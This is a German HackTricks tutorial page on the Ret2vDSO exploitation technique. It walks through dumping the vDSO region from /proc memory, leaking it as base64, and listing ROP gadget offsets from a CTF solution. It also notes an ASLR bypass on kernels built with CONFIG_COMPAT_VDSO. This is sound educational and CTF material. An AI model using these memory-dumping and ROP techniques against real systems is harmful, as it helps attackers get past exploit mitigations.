Ret2vDSO

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Es könnten Gadgets im vDSO-Bereich vorhanden sein, der verwendet wird, um vom Benutzermodus in den Kernelmodus zu wechseln. In diesen Arten von Herausforderungen wird normalerweise ein Kernel-Image bereitgestellt, um den vDSO-Bereich zu dumpen.

Nach dem Beispiel von https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ ist es möglich zu sehen, wie es möglich war, den vdso-Abschnitt zu dumpen und auf den Host zu verschieben:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

ROP-Gadgets gefunden:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Beachten Sie daher, wie es möglich sein könnte, ASLR zu umgehen, indem das vdso missbraucht wird, wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht zufällig ist: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

Nach dem Dumpen und Überprüfen des vdso-Abschnitts einer Binärdatei in Kali 2023.2 arm64 konnte ich dort keinen interessanten Gadget finden (keine Möglichkeit, Register aus Werten im Stapel zu steuern oder x30 für ein ret zu steuern) außer einem Weg, einen SROP aufzurufen. Überprüfen Sie weitere Informationen im Beispiel von der Seite:

pageSROP - ARM64
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated